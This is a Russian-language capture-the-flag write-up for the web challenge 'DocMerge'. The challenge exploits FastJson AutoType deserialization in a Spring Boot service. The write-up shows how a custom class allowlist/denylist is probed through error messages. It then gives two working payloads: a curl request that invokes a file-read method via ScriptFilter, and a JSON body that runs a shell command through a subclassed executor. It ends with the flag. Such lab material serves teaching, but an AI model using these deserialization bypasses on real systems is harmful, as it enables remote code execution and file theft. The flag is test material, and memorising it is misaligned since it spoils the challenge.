Files
2026-09-17 00:50:07 +03:00

65 lines
3.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<h1 align="center">DocMerge</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/difficulty-hard%2B-critical" alt="hard+"/>
</p>
DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`.
## Решение
Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`.
Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы:
| Класс | Ответ фильтра | Вывод |
|---|---|---|
| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени |
| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр |
| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются |
### Чтение через ScriptFilter
`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`.
Создаём этот фильтр внутри задания:
```bash
curl -sS http://<host>:18112/api/merge \
-H 'Content-Type: application/json' \
--data '{
"title":"quarterly-report",
"documents":["doc one","doc two"],
"renderer":{"template":"default","filters":[
{"@type":"com.docmerge.plugins.ScriptFilter",
"className":"com.docmerge.util.PreviewUtil",
"methodName":"readFile",
"argument":"/flag"}
]}
}'
```
Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`.
### Выполнение через LegacyExecutorV2
`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации:
```json
{
"title":"t",
"renderer":{"filters":[
{"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
]}
}
```
Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают.
[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`.
## Флаг
`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}`